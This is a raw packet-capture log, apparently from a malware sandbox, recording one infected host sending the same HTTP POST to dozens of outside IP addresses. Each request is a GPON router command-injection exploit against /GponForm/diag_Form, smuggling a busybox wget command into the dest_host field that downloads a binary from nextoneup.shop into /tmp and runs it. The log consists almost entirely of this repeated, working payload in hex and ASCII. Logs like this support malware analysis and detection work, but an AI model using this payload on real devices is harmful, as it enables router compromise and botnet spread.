Apr 14, 2024 04:01:06.133876085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1690	192.168.2.13	58444	42.86.70.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133893967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1691	192.168.2.13	50432	2.252.39.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133910894 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1692	192.168.2.13	43082	2.209.21.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133928061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1693	192.168.2.13	39854	118.229.127.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133960962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1694	192.168.2.13	41718	42.238.18.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133974075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1695	192.168.2.13	35824	118.140.202.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134001970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1696	192.168.2.13	51740	178.137.210.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134001970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1697	192.168.2.13	39446	202.66.162.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134035110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1698	192.168.2.13	51236	212.22.187.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134052038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1699	192.168.2.13	45016	210.174.254.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134068012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1700	192.168.2.13	46322	178.243.228.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134108067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1701	192.168.2.13	46118	123.243.65.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134130001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1702	192.168.2.13	56310	212.201.157.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134160042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1703	192.168.2.13	57974	5.18.215.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134170055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1704	192.168.2.13	49104	117.68.32.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134170055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1705	192.168.2.13	50262	212.94.233.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134197950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1706	192.168.2.13	48198	5.21.35.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134227037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1707	192.168.2.13	56248	2.59.29.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134233952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1708	192.168.2.13	36754	117.200.84.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134268045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1709	192.168.2.13	54516	94.17.137.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134284973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1710	192.168.2.13	60056	212.76.105.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134300947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1711	192.168.2.13	36222	123.226.108.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134322882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1712	192.168.2.13	56898	79.42.102.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134339094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1713	192.168.2.13	34874	5.78.140.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134358883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1714	192.168.2.13	52120	210.30.147.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134371042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

